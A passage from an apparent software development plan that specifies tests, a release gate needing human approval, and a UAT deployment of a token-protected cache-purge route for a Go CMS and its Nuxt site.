Host (../sm-grzybyfunkcjonalne-app; commit locally, Task 5 pushes):
|
||||
|
||||
- `deploy/env.example`: add the lines `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=`, with a comment: the same value as NUXT_JOURNAL_CACHE_PURGE_TOKEN in nuxt/.env, generated on the server.
|
||||
- `deploy/nuxt.env.example`: add `NUXT_JOURNAL_CACHE_PURGE_TOKEN=` with the comment, and correct the header sentence that says the file holds no secrets.
|
||||
- `DEPLOY.md`:
|
||||
- First install: a bullet for the shared token.
|
||||
- Overview: the Go to Nuxt purge.
|
||||
- Release: replace "The Nuxt page caches (swr) expire by themselves." with how admin saves purge them and the on-server purge check from Task 5. Note that the vhost's `limit_except GET HEAD` keeps the route off the public path; check-deploy.sh already requires it.
|
||||
- `README.md`: the "Ports and environment" table lists the new variables.
|
||||
- Commit as docs(deploy): ...</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -timeout 15m -run '^(TestCategoriesAdminPurgesSiteCache|TestPostsAdminPurgesSiteCache)$' -v . 2>&1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: vet or an existing classes or controllers test fails, or fewer than two PASS lines (a post or category save path does not purge after commit).</fails_when>
|
||||
<automated>npm --prefix ../vue-journal-layer test 2>&1 | grep -E '^# fail 0$' && pnpm -C ../vue-journal-layer run build:playground && node ../vue-journal-layer/testing/purge-check.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --kind post --slug hello-acme --path /blog/hello-acme | tail -1 | grep '^purge-check: ok'</automated>
|
||||
<fails_when>Non-zero exit or a missing line: a layer unit test fails, or purge-check fails a check (purge, guards, max-age=0 on 200 and 304, payload marker, second purge, disabled server).</fails_when>
|
||||
<automated>S=$(mktemp -d) && rsync -a --exclude node_modules --exclude .output --exclude .nuxt ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/ "$S/app/" && printf 'overrides:\n vue-journal-layer: link:%s\n' "$(cd ../vue-journal-layer && pwd)" >> "$S/app/pnpm-workspace.yaml" && pnpm -C "$S/app" install --no-frozen-lockfile && pnpm -C "$S/app" build && node ../vue-journal-layer/testing/purge-check.mjs --output "$S/app/.output" --fixtures ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api --kind category --slug cordyceps --path /cordyceps | tail -1 | grep '^purge-check: ok'</automated>
|
||||
<fails_when>Non-zero exit or no "purge-check: ok": the host app, built in a scratch copy against the local layer (nothing in the real app checkout changes), does not purge its root-level category page /cordyceps under its own route rules.</fails_when>
|
||||
<automated>grep -c 'SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN' ../sm-grzybyfunkcjonalne-app/deploy/env.example ../sm-grzybyfunkcjonalne-app/DEPLOY.md | grep -c ':0$' | grep -qx 0 && grep -q 'NUXT_JOURNAL_CACHE_PURGE_TOKEN' ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example && grep -q 'NUXT_JOURNAL_CACHE_PURGE_TOKEN' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md && grep -q 'NUXT_JOURNAL_CACHE_PURGE_TOKEN' ../vue-journal-layer/README.md && grep -q 'site_cache.purge_url' ../sm-journal-plugin/README.md && echo docs-ok</automated>
|
||||
<fails_when>Non-zero exit or no docs-ok: a deploy template, DEPLOY.md, the app README, the layer README or the Journal README does not name its new setting.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- posts.go and categories.go each implement FormAfterCreate, FormAfterUpdate and FormAfterDelete (`grep -cE "func \(.*\) FormAfter(Create|Update|Delete)\(" ` prints 3 for each file), each reaching PurgeSiteCacheAfterCommit (`grep -c "PurgeSiteCacheAfterCommit"` prints at least 1 for each file; Task 3's Postgres tests prove all six paths).
|
||||
- `grep -n "privateRevalidate" ../vue-journal-layer/server/plugins/journal-revalidate.ts` prints at least one line.
|
||||
- All four verify commands pass; the real vue-grzybyfunkcjonalne-app checkout has no pnpm-workspace override and its package.json still pins #v0.2.0 (`git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app diff --quiet -- package.json pnpm-lock.yaml pnpm-workspace.yaml`).
|
||||
</acceptance_criteria>
|
||||
<done>Every admin post and category write purges after its commit, misconfiguration fails at boot, route-cached pages tell browsers to revalidate, the host app purges its own category page in a scratch build, and the READMEs and deploy files describe the setting.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Tests: G-16.2-1 conformance cases, Docker-free inventory and the stale Journal assertion; full coverage of the purge; gate stages; full gate green including postgres</name>
|
||||
<precondition>`docker info` exits 0 on this machine.</precondition>
|
||||
<files>modules/cabana/openapi_conformance_test.go, scripts/check-phase16.2.sh, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md, ../sm-journal-plugin/plugin_test.go, ../sm-journal-plugin/classes/site_cache_test.go, ../sm-journal-plugin/site_cache_admin_test.go, ../vue-journal-layer/tests/siteCache.test.ts</files>
|
||||
<read_first>.planning/debug/postgres-gate-field-types-conformance.md (Evidence and suggested_fix_direction); modules/cabana/openapi_conformance_test.go (conformCase, TestPhase10OpenAPIConformance with the coverage loop near line 400, conformEnv helpers upload/send/assertPluginAsset, newConformEnv, conformGadget, conformPlugin, conformFS and the gadget fields.yaml); modules/cabana/export_test.go (AdminAPIRoutes); modules/cabana/field_type.go (FieldTypeAssets, FieldTypesResponse, FieldUploadResponse, compileFieldTypes rules); modules/cabana/field_type_upload.go; modules/pact/capabilities.go (FormFieldType, FormFieldUpload, FormFieldUploadResult, HasFormFieldTypes); admin/openapi/admin.json (both routes); scripts/check-phase16.2.sh (all of it); ../sm-journal-plugin/plugin_test.go (TestJournalSVGEmbed); ../sm-journal-plugin/models/post/fields.yaml; the Task 1 and Task 2 Go and layer files; ../vue-journal-layer/tests/routes.test.ts (node --test style); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md (line 24 and the field_type_upload.go section); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Per-Task Verification Map)</read_first>
|
||||
<behavior>
|
||||
- Inventory (no database): every inventoried admin route has exactly one conformance case; a missing, extra or duplicate key fails with all offending keys listed in sorted order; the test passes under -short with no Docker.
|
||||
- GET /field-types: 200; the body decodes into cabana.FieldTypesResponse with unknown fields disallowed; admin.json documents cabana.FieldTypesResponse; the fixture type is listed with its element and a script URL that serves with ETag and the ?v= hash.
|
||||
- Field upload: a multipart part named file to the fixture field answers 201; the body decodes into cabana.Envelope[cabana.FieldUploadResponse]; admin.json documents cabana.Envelope-cabana_FieldUploadResponse; the existing create, update and show cases still pass with the plugin-typed field on the gadget form.
|
||||
- TestJournalSVGEmbed: post content is `type: mlblogeditor` with `htmlColumn: content_html`.
|
||||
- NewSiteCachePurger table: both empty gives disabled; only URL or only token, a bad scheme, no host, user info, a fragment, http to a non-loopback host and a 31-character token are each refused with the key in the error; https to any host, and http to 127.0.0.1, ::1 and localhost with a 32-character token are accepted.
|
||||
- Purge request: POST, the configured path, the Bearer token, the JSON content type and body; an Info log with purged from the answer; a 500 and a 401 answer each give one Warn line; a receiver slower than the timeout returns within about 2 s; a cancelled parent context still sends; no captured log line contains the token; a nil purger sends nothing.
|
||||
- Categories on Postgres: create, update and delete each send one purge with kind category after the commit; a failed update (validation 422) sends none.
|
||||
- Posts on Postgres: create, an untouched update (content and content_html still byte-identical, D-03) and delete each send one purge with kind post; with the receiver answering 500, and with no receiver listening, the save still answers 200 and the row is saved; a failed save sends none.
|
||||
- Layer (node --test, exact names): "purge auth: a missing or short token disables the route", "purge auth: a proxied request is refused before the token is checked", "purge auth: a missing or wrong bearer token is unauthorized", "purge removes every route cache entry and only those"; plus parsePurgeEvent cases (kinds, control characters, 200-character cap, non-object bodies) and privateRevalidate cases (s-maxage with and without max-age, the 304 form "public, max-age=300, s-maxage=300", a static "public, max-age=31536000, immutable" unchanged, an empty value unchanged).
|
||||
</behavior>
|
||||
<action>Write the tests in the behavior block, close G-16.2-1, extend the gate and run it in full.
|
||||
|
||||
summercms.go (G-16.2-1, per D-13 and D-18):
|
||||
|
||||
- Move the case list of TestPhase10OpenAPIConformance into a package-level `conformCases() []conformCase`. The closures already take the env as a parameter.
|
||||
- Add `checkConformInventory(t *testing.T, cases []conformCase)`. It reports every missing key in sorted order, plus every extra or duplicate key, in one failure.
|
||||
- The new `TestPhase10ConformanceInventory` calls it with no database. TestPhase10OpenAPIConformance calls it before newConformEnv, so the static check can no longer hide behind the testcontainers setup.
|
||||
- Add the two cases.
|
||||
- GET /field-types: status 200, ref `cabana.FieldTypesResponse`, decode `into[cabana.FieldTypesResponse]()`. The call asserts the fixture type is listed and checks its script with `e.assertPluginAsset`.
|
||||
- POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload: status 201, ref `cabana.Envelope-cabana_FieldUploadResponse`, decode `into[cabana.Envelope[cabana.FieldUploadResponse]]()`. Send a multipart part named `file` with the requireAjax header to the gadget's fixture field. Use an id the route accepts: 0 for a new record, or a gadget created earlier in the case list.
|
||||
- Fixture changes:
|
||||
- conformPlugin implements `pact.HasFormFieldTypes` with one type: an alias such as `conformnote`, an element under the `acme-conform-` widget tag prefix, a script already in conformFS, Decode returning the string, Load returning the stored value, and Upload returning a URL.
|
||||
- conformGadget gets a nullable `note` column, and the gadget fields.yaml gets a `note` field of that type.
|
||||
- The existing create, update and show cases now Decode and Load the note; keep them passing.
|
||||
- `scripts/check-phase16.2.sh`:
|
||||
- FRAMEWORK_RUN and FRAMEWORK_REQUIRE gain TestPhase10ConformanceInventory.
|
||||
- JOURNAL_REQUIRE gains TestSiteCachePurgeConfig and TestSiteCachePurgeRequest.
|
||||
- PG_FRAMEWORK_REQUIRE gains TestPhase10OpenAPIConformance.
|
||||
- PG_JOURNAL_REQUIRE gains TestCategoriesAdminPurgesSiteCache and TestPostsAdminPurgesSiteCache.
|
||||
- LAYER_REQUIRE gains the four layer test names.
|
||||
- Add a new stage `cache`. Wire it into usage, the case statement (cache and --cache), run_all after layer, and the self-test mode loop.
|
||||
- It runs `pnpm -C "$LAYER" run build:playground`.
|
||||
- It runs purge-check on the playground (post hello-acme at /blog/hello-acme) and fails unless the last line starts with "purge-check: ok".
|
||||
- Then it runs the acme SSR smoke against the same build: `node "$LAYER/testing/smoke-ssr.mjs" --output "$LAYER/.playground/.output" --fixtures "$LAYER/testing/fixtures/acme" --expect "$LAYER/testing/expect-acme.txt"`.
|
||||
- Update the header comment for the new stage and names.
|
||||
|
||||
sm-journal-plugin:
|
||||
|
||||
- In `plugin_test.go`, TestJournalSVGEmbed asserts `type: mlblogeditor` and `htmlColumn: content_html` for post content. This is the intended 16.2-03 change (D-08); no other assertion changes.
|
||||
- `classes/site_cache_test.go`: TestSiteCachePurgeConfig and TestSiteCachePurgeRequest. Capture logs with a slog handler on a buffer; use httptest.
|
||||
- Extend `site_cache_admin_test.go` as the behavior block lists. The receiver records requests and can answer 500. To test the "nothing listening" case, close it before the save.
|
||||
|
||||
vue-journal-layer:
|
||||
|
||||
- `tests/siteCache.test.ts` uses node --test with erasable TypeScript only and the exact names above. Use a fake storage whose keys include nitro:routes entries and other cache groups.
|
||||
|
||||
Docs (summercms.go, one separate docs(16.2) commit):
|
||||
|
||||
- 16.2-PATTERNS.md: name `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker) in two places. First, the `admin_openapi.go` table row. Second, the sentence of the field_type_upload.go section that lists admin_openapi.go and phase09Routes.
|
||||
- 16.2-VALIDATION.md: add the 16.2-07-T1 to T6 rows to the per-task map, with their commands, and move the Docker-host suites from Manual-Only to automated.
|
||||
|
||||
Then run `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all`. If a suite exposes a production defect, fix it in a separate fix(...) commit with its own test, and name it in the SUMMARY. Commit tests per repository as test(...) commits, and the gate as "test(16.2-07): ...", staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -short -run '^TestPhase10ConformanceInventory$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestPhase10ConformanceInventory'</automated>
|
||||
<fails_when>No PASS line: the inventory test needs a database (it must pass under -short), or an inventoried route still has no conformance case.</fails_when>
|
||||
<automated>go test -count=1 -timeout 15m -run '^TestPhase10OpenAPIConformance$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestPhase10OpenAPIConformance'</automated>
|
||||
<fails_when>No PASS line: a case fails its status, its decode with unknown fields disallowed, or the admin.json ref, including the two new cases.</fails_when>
|
||||
<automated>L=$(mktemp) && { PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all > "$L" 2>&1; grep -qx 'PASS postgres' "$L" && grep -qx 'PASS cache' "$L" && tail -1 "$L" | grep -qx 'Phase 16.2 gate passed'; }</automated>
|
||||
<fails_when>Non-zero exit: any stage fails (self-test, go, admin, editor, layer, cache, docs, postgres), a required test is missing by name, or the last line is not exactly "Phase 16.2 gate passed". This includes the UAT Test 1 suites and TestJournalSVGEmbed in the postgres stage.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func TestPhase10ConformanceInventory" modules/cabana/openapi_conformance_test.go` prints one line; `grep -c "TestPhase10ConformanceInventory" scripts/check-phase16.2.sh` prints at least 2 (run regex and required list).
|
||||
- `grep -n "fields/{field}/upload" modules/cabana/openapi_conformance_test.go` and `grep -n '"GET /field-types"' modules/cabana/openapi_conformance_test.go` each print at least one line.
|
||||
- `grep -n "openapi_conformance_test.go" .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md` prints at least two lines.
|
||||
- `grep -n "type: mlblogeditor" ../sm-journal-plugin/plugin_test.go` prints at least one line.
|
||||
- The three verify commands pass; the gate log (in the SUMMARY) shows PASS for every stage, including postgres and cache.
|
||||
</acceptance_criteria>
|
||||
<done>The gate's postgres stage is green on this Docker host, the route-coverage invariant is enforced without Docker, and the purge has full unit and Postgres coverage in the fail-closed gate.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 4: Release gate: clean trees, tags chosen, UAT state read, a human approves the pushes, the tags and the UAT deploy (with the server-generated purge token)</name>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md (deviations: Nuxt rollback path, log anchor); .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW-FIX.md and 16.2-SECURITY.md when present; the Task 3 gate log</read_first>
|
||||
<action>Do every automatable check, print a release sheet, then stop.
|
||||
|
||||
1. Concurrency. Each repository must be clean with nothing missing from origin:
|
||||
- summercms.go master: `git status --porcelain -- modules admin docs scripts cmd` prints nothing.
|
||||
- ../sm-journal-plugin main, ../vue-journal-layer main, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app main and ../sm-grzybyfunkcjonalne-app master: `git status --porcelain --untracked-files=no` prints nothing.
|
||||
- In every repository, after `git fetch origin --tags`, `git log --oneline HEAD..origin/<branch>` prints nothing. If any origin has commits this checkout lacks, stop and report. Do not merge or rebase.
|
||||
2. Tags:
|
||||
- summercms: propose the highest `v0.1.*` tag plus one, v0.1.20 unless someone tagged after v0.1.19. Confirm with `git ls-remote --tags origin` that it is absent.
|
||||
- vue-journal-layer: propose v0.3.0 and confirm it is absent on origin.
|
||||
3. Read-only on UAT:
|
||||
- The sha256 and mtime of `/srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne`.
|
||||
- The count, never the value, of lines starting with SUMMER_GOLEM15__JOURNAL__SITE_CACHE__ in go/.env and NUXT_JOURNAL_CACHE_PURGE_TOKEN in nuxt/.env.
|
||||
- The SELECTs of Task 6's posts and translations verify, compared with the 16.2-05 snapshot.
|
||||
- The category 2 row as id:slug:md5(content):updated_at.
|
||||
4. The release sheet:
|
||||
- the tags;
|
||||
- the commits to push per repository (`git log --oneline origin/<branch>..HEAD`, including planning-doc commits);
|
||||
- the Task 3 gate result;
|
||||
- every write on the server: the binary, Nuxt output, config/ and scripts/ uploads, the rollback copies, and two lines appended to go/.env and one to nuxt/.env, holding a token generated on the server that is never printed;
|
||||
- the steps of DEPLOY.md "Release";
|
||||
- the rollback: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back and restart both programs. The appended .env lines are inert for the previous build;
|
||||
- any open high finding from the review or security reports. An open high finding allows only hold.
|
||||
|
||||
Then stop for the human.</action>
|
||||
<decision>Push the branches and the tags summercms v0.1.20 and vue-journal-layer v0.3.0, generate the purge token on the server, and deploy to UAT now?</decision>
|
||||
<context>A pushed tag is read by other repositories and the Go module proxy and cannot be moved, only superseded (v0.1.21, v0.3.1). The deploy writes the binary, the Nuxt output and two env files on the UAT server, next to the live Winter site, which it does not touch. Task 3 ran the full gate including the Docker suites on this machine.</context>
|
||||
<options>
|
||||
<option id="release">
|
||||
<name>Release and deploy now</name>
|
||||
<pros>UAT gets the v0.1.19 review fixes plus the purge; Tests 3 and 2 can be re-run at once; rollback is two moves and a restart</pros>
|
||||
<cons>Two tags are published; a later defect needs the next tags</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>UAT keeps the 12:37 build without the review fixes; Tests 2 and 3 stay open</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "release" (with any tag change, for example "release v0.1.21") or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>bash scripts/check-phase16.2.sh --self-test && test -z "$(git status --porcelain -- modules admin docs scripts cmd)" && test -z "$(git ls-remote --tags origin refs/tags/v0.1.20)" && test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.3.0)" && echo release-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or no release-gate-ok: the gate self-test fails, summercms.go has uncommitted framework changes, or a proposed tag already exists on origin (then propose the next free tag and record it).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The SUMMARY records the release sheet and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose release with named tags, or hold (the plan stops).</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 5: Release and deploy: tags, pushes, layer pin, host bumps, build, UAT deploy with the server-generated purge token, smoke and an on-server purge check; snapshot for Task 6</name>
|
||||
<reversibility rating="one-way">Annotated tags summercms v0.1.20 and vue-journal-layer v0.3.0 are read by other repositories' go.mod and package.json; they can only be superseded.</reversibility>
|
||||
<precondition>Task 4 was answered "release" (RELEASE_TAG and LAYER_TAG set in the session, default v0.1.20 and v0.3.0) and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
|
||||
<files>../sm-journal-plugin/go.mod, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke); ../sm-grzybyfunkcjonalne-app/scripts/build.sh; ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh; ../vue-journal-layer/scripts/check-git-install.sh; .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md (Deploy, Follow-up deploy, deviations); the Task 4 release sheet in this plan's SUMMARY</read_first>
|
||||
<action>Run the release in this order. Re-check before each push that `git log --oneline HEAD..origin/<branch>` prints nothing.
|
||||
|
||||
1. **Framework.** `git tag -a "$RELEASE_TAG"` on summercms.go master HEAD with the message "$RELEASE_TAG: conformance cases for the field types and field upload routes, Docker-free route inventory check, phase 16.2 gate with the site cache purge". Then `git push origin master` and `git push origin "$RELEASE_TAG"`.
|
||||
2. **Plugin.** `go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG`. The replace stays, so the require is nominal. Run `go -C ../sm-journal-plugin vet ./...`, commit go.mod only as "chore(deps): require summercms $RELEASE_TAG", then `git -C ../sm-journal-plugin push origin main`.
|
||||
3. **Layer.**
|
||||
- Set package.json version 0.3.0 and commit "chore: release v0.3.0".
|
||||
- `git -C ../vue-journal-layer tag -a v0.3.0` with the message "v0.3.0: token-protected site cache purge route (POST /api/__journal__/cache/purge) and browser revalidation of route-cached pages".
|
||||
- Push main and the tag.
|
||||
- `bash ../vue-journal-layer/scripts/check-git-install.sh v0.3.0`. Run it from a directory outside any vue-journal-layer directory.
|
||||
4. **Site app** (../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app).
|
||||
- Change the pin to `git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.3.0`. Run `pnpm install` (the lockfile must record the tag's commit), then `pnpm build` and `pnpm test`.
|
||||
- Run `node node_modules/vue-journal-layer/testing/purge-check.mjs --output .output --fixtures tests/fixtures/api --kind category --slug cordyceps --path /cordyceps`. It must end with "purge-check: ok".
|
||||
- Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.3.0 (site cache purge on Journal saves)" and push main together with the Task 2 docs commit.
|
||||
5. **Host** (../sm-grzybyfunkcjonalne-app).
|
||||
- In plugins/golem15/journal, fetch origin and check out the sm-journal-plugin main just pushed. In vue-grzybyfunkcjonalne-app, check out the main just pushed.
|
||||
- Commit both gitlinks as "chore: bump journal plugin and the site app (site cache purge on admin saves)".
|
||||
- Push master, which also pushes the Task 2 deploy-docs commit.
|
||||
6. **Build.** Run `bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh`, then `bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh`. Record the local sha256 of bin/grzybyfunkcjonalne.
|
||||
7. **Release on the server**, per DEPLOY.md "Release" with the 16.2-05 corrections.
|
||||
- Remove the old nuxt/.output.prev, then `cp -a nuxt/.output nuxt/.output.prev`.
|
||||
- rsync the binary to go/bin/grzybyfunkcjonalne.new, plus config/, scripts/ and build/nuxt/.output/, exactly as DEPLOY.md "Build and upload" lists. Never upload a local .env.
|
||||
- Compare the sha256 of the .new binary with the local one.
|
||||
- `cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev`, then move the .new binary into place.
|
||||
8. **Purge token, on the server, idempotent and never printed.**
|
||||
- If go/.env has no line starting with SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=:
|
||||
- generate T on the server from 32 bytes of /dev/urandom, base64 with `+/` mapped to `-_` and `=` and newlines removed;
|
||||
- append `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge` and `SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=$T` to go/.env, and `NUXT_JOURNAL_CACHE_PURGE_TOKEN=$T` to nuxt/.env, with printf builtins.
|
||||
- If only one file has its line, stop and report. Never echo T.
|
||||
- Both files stay mode 0600.
|
||||
9. **Start.**
|
||||
- Run `bin/grzybyfunkcjonalne migrate`; it must exit 0.
|
||||
- Record RESTART_UTC as the server's `date -u +%Y-%m-%dT%H:%M:%SZ`.
|
||||
- `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
|
||||
- Record LOG_ANCHOR, the `client_id=` value of the River line the Go restart logged in /var/log/supervisor/grzybyfunkcjonalne-go.log.
|
||||
- Run the smoke (first verify).
|
||||
10. **Checks.** Run the deploy, token and purge verifies. On any failure: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back, restart both programs and report.
|
||||
11. **Snapshot for Task 6** (read-only SELECTs, kept in the session and the SUMMARY).
|
||||
- The posts and translations SELECTs of Task 6's first and third verify. They must already equal the expected rows; if they differ, report it, because the data changed since 16.2-05.
|
||||
- posts 1 and 64 as id:updated_at.
|
||||
- category 2 as id:slug:md5(coalesce(content,'')):updated_at.</action>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go && CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
|
||||
<fails_when>Non-zero exit or no line starting with "smoke: ok (": a smoke URL failed on the server.</fails_when>
|
||||
<automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" && ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 && test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" && test -n "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.3.0)" && grep -q 'vue-journal-layer.git#v0.3.0' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json && ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev && test -d /srv/grzybyfunkcjonalne/nuxt/.output.prev' && echo deploy-ok</automated>
|
||||
<fails_when>Non-zero exit or no deploy-ok: the server binary differs from the local build, fewer than two programs are RUNNING, a tag is missing on origin, the app does not pin v0.3.0, or a rollback copy is missing.</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'cd /srv/grzybyfunkcjonalne && test "$(grep -c "^SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=" go/.env)" = 1 && test "$(grep -c "^NUXT_JOURNAL_CACHE_PURGE_TOKEN=" nuxt/.env)" = 1 && test "$(grep -c "^SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_URL=http://127.0.0.1:3016/api/__journal__/cache/purge$" go/.env)" = 1 && a=$(sed -n "s/^SUMMER_GOLEM15__JOURNAL__SITE_CACHE__PURGE_TOKEN=//p" go/.env) && b=$(sed -n "s/^NUXT_JOURNAL_CACHE_PURGE_TOKEN=//p" nuxt/.env) && test ${#a} -ge 32 && test "$a" = "$b" && echo token-match' | grep -qx token-match</automated>
|
||||
<fails_when>No token-match: a line is missing or duplicated, the URL differs, the token is shorter than 32 characters, or the two files hold different values. Only the word token-match crosses the connection.</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat 'cd /srv/grzybyfunkcjonalne && C=$(mktemp -d) && printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc" && CURL_HOME="$C" curl -s -o /dev/null https://uat.grzybyfunkcjonalne.pl/cordyceps && T=$(sed -n "s/^NUXT_JOURNAL_CACHE_PURGE_TOKEN=//p" nuxt/.env) && printf "Authorization: Bearer %s\n" "$T" | curl -s -o "$C/p.json" -w "%{http_code}\n" -X POST -H @- -H "Content-Type: application/json" --data "{\"kind\":\"category\",\"slug\":\"cordyceps\"}" http://127.0.0.1:3016/api/__journal__/cache/purge && grep -oE "\"purged\": *[0-9]+" "$C/p.json" | grep -oE "[0-9]+$" && CURL_HOME="$C" curl -s -o /dev/null -w "%{http_code}\n" -X POST https://uat.grzybyfunkcjonalne.pl/api/__journal__/cache/purge && curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:3016/api/__journal__/cache/purge; rm -rf "$C"' | paste -sd' ' | grep -Eq '^200 [1-9][0-9]* 403 401$' && echo purge-ok</automated>
|
||||
<fails_when>No purge-ok: the authorized loopback purge (token read on the server and passed to curl on stdin) does not answer 200 with purged of at least 1 after the category page was cached, a POST through nginx is not refused with 403, or a loopback POST without a token is not refused with 401.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `git -C ../sm-journal-plugin rev-parse main` equals its origin/main and its go.mod requires summercms at RELEASE_TAG; ../vue-journal-layer main equals origin/main and package.json says 0.3.0; check-git-install.sh v0.3.0 passed.
|
||||
- `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed heads and the host master equals origin/master.
|
||||
- The four verify commands print their markers.
|
||||
- The SUMMARY records both tags, every pushed head, both sha256 values, RESTART_UTC, LOG_ANCHOR, the snapshot rows, and no credential or token.
|
||||
</acceptance_criteria>
|
||||
<done>UAT runs the released framework, plugin, layer and site from pushed tags and branches; the purge works on the server and is refused from outside; the pre-save snapshot is recorded.</done>
|
||||
</task>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 6: UAT re-run: Test 3 (untouched re-save of posts 1 and 64, D-03) and Test 2 (category edit visible on the next view, D-19)</name>
|
||||
